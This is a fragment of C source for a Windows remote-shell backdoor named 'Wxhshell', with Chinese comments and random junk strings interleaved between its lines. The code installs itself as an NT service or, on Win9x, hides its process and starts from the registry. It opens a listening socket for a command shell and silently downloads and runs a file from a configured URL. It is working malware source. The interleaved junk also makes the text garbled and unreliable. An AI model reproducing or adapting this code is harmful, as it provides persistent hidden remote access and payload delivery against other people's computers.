HANDLE hProcess; =j@8/ PROCESS_BASIC_INFORMATION pbi; K,!f7KKo [9Hrpo]tU: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %htbEKWR if(NULL == hInst ) return 0; n>YgL}YZ? 9 LUk[V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +WvW#wpH g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GPAz#0p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ig'4DmNC JY9hD;`6y if (!NtQueryInformationProcess) return 0; [bEm D 0C717 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7 .xejz if(!hProcess) return 0; ,%KMi-w]q, YVO~0bX: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^mZTki4 !H4uc CloseHandle(hProcess); S/6I9zOP XRn+6fn| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a61?G!] if(hProcess==NULL) return 0; Q[bIkvr| |99Z&
<8f HMODULE hMod; 84gj%tw'- char procName[255]; u]<`y6=&C unsigned long cbNeeded; Jh%k:TrBm 9QkIMJf0e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $]b&3_O$N8 CM+wkU ?, CloseHandle(hProcess); .-:6L2 {ZgycMS if(strstr(procName,"services")) return 1; // 以服务启动 4OdK@+-8U Ot3+<{ return 0; // 注册表启动 Of{'A } w&}UgtEm kN*\yH| // 主模块 mh~n#bah int StartWxhshell(LPSTR lpCmdLine) cx4'rK. { 1F?ylZ|~ SOCKET wsl; 8;P_KRaE BOOL val=TRUE; _1?Fyu&<5 int port=0; mGUl/.;yp- struct sockaddr_in door; #J4,mFMr "#`c\JuR] if(wscfg.ws_autoins) Install(); }q~xr3# MP`WU} 2 port=atoi(lpCmdLine); _ 3>|1RB m} nA-* if(port<=0) port=wscfg.ws_port; 1I U*:Z;Rz \8SHX WSADATA data; 4?e7s.9N if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d?(eL(W H @8 ;6D if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o#F0 3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /J'dG% door.sin_family = AF_INET; A\<WnG>xjP door.sin_addr.s_addr = inet_addr("127.0.0.1"); .:jfNp~jt door.sin_port = htons(port); Q"H1(kG| bq`0$c%hN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h>K%OxR closesocket(wsl); .e2K\o return 1; ;?:X_C } ?ik6kWI x20sB if(listen(wsl,2) == INVALID_SOCKET) { >5-]Ur~ closesocket(wsl); V %Rz(a+c return 1; pi?U|&.1z } -\=kd {*B Wxhshell(wsl); L}%4YB WSACleanup(); +Pm}_"GU |CjE}5Op> return 0; W,)qE^+ 5VPP 2;J } GGchNt pxs`g&3yd // 以NT服务方式启动 ~0@+8%^>; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T1r^.;I: { Fh$Xcz~i DWORD status = 0; 3:WXrOl DWORD specificError = 0xfffffff; qbe9 CF'@_ c6)q(zz serviceStatus.dwServiceType = SERVICE_WIN32; sp$W=Wu7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; t^1c^RpTb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zos#B30 serviceStatus.dwWin32ExitCode = 0; @VcSK` serviceStatus.dwServiceSpecificExitCode = 0; T5di#%: s serviceStatus.dwCheckPoint = 0; 2*1s(Jro serviceStatus.dwWaitHint = 0; ~2*8pb 4 gT6@0ANq hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .EUOKPK4W if (hServiceStatusHandle==0) return; YG6Kvc6T sGD b< status = GetLastError(); Qf]ACN if (status!=NO_ERROR) SpUcrK;1 { M0zlB{eH serviceStatus.dwCurrentState = SERVICE_STOPPED; /0H39]y!~ serviceStatus.dwCheckPoint = 0; ROHr%'owgL serviceStatus.dwWaitHint = 0; ,4%'~8'3 serviceStatus.dwWin32ExitCode = status; yjP;o`z% serviceStatus.dwServiceSpecificExitCode = specificError; (S#4y SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?(CMm%(8 return; SggS8$a` } fX2PteA0qX S?_ ;$Cn serviceStatus.dwCurrentState = SERVICE_RUNNING; 3QrYH
@7zx serviceStatus.dwCheckPoint = 0; X pd^^ serviceStatus.dwWaitHint = 0; ii@O&g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DOm5 azO!> } TBYRY)~f
Pc4FEH/ // 处理NT服务事件,比如:启动、停止 glppb$oB\ VOID WINAPI NTServiceHandler(DWORD fdwControl) G&Sp } { RT)*H>| switch(fdwControl) '
cl&S: { 5? s$(Lt~ case SERVICE_CONTROL_STOP: V/G'{ q serviceStatus.dwWin32ExitCode = 0; *tda_B
2 serviceStatus.dwCurrentState = SERVICE_STOPPED; }]H_|V*f serviceStatus.dwCheckPoint = 0; <j.bG 7 serviceStatus.dwWaitHint = 0; oA&V,r { 6Hn3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%?X% @9 } WeTs va+ return; -)tu$W* case SERVICE_CONTROL_PAUSE: r='"X#CmV/ serviceStatus.dwCurrentState = SERVICE_PAUSED; dviL5Eaj break; mu/O\'5 case SERVICE_CONTROL_CONTINUE: ArUGa(;f serviceStatus.dwCurrentState = SERVICE_RUNNING;
WoiK _Ud break; y3K9rf case SERVICE_CONTROL_INTERROGATE: /)PD+18 break; )vK
%LmP }; B&`hvR SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQRh5km } YGObTIGJvf oP".>g-. // 标准应用程序主函数 [2!K 6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2c
<Qh= { %jY/jp=R n@xDFa // 获取操作系统版本 j#b?P=|l OsIsNt=GetOsVer(); :hG?} [-2 GetModuleFileName(NULL,ExeFile,MAX_PATH); "S43:VH d\dt}&S 5 // 从命令行安装 cRX0i;zag if(strpbrk(lpCmdLine,"iI")) Install(); |.Bb Pfe8f >'@yq // 下载执行文件 3I?? K)Yl if(wscfg.ws_downexe) { _1`*&k
JL~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z2WAVSw WinExec(wscfg.ws_filenam,SW_HIDE); HZdmL-1Z^+ } _Va!Ky
=] S"UFT-N if(!OsIsNt) { yk9|H)-z // 如果时win9x,隐藏进程并且设置为注册表启动 /)xG%J7H HideProc(); u|7d_3 :: StartWxhshell(lpCmdLine); i=-zaboo } 4XDR?KUM else k|,pj^ if(StartFromService()) 2@o_7w98 // 以服务方式启动 FG-w7a2mn StartServiceCtrlDispatcher(DispatchTable); Nf>1`eP else 02} &h // 普通方式启动 +n]U3b StartWxhshell(lpCmdLine); ]S[zD|U% m El*{] return 0; a2*WZc` }
|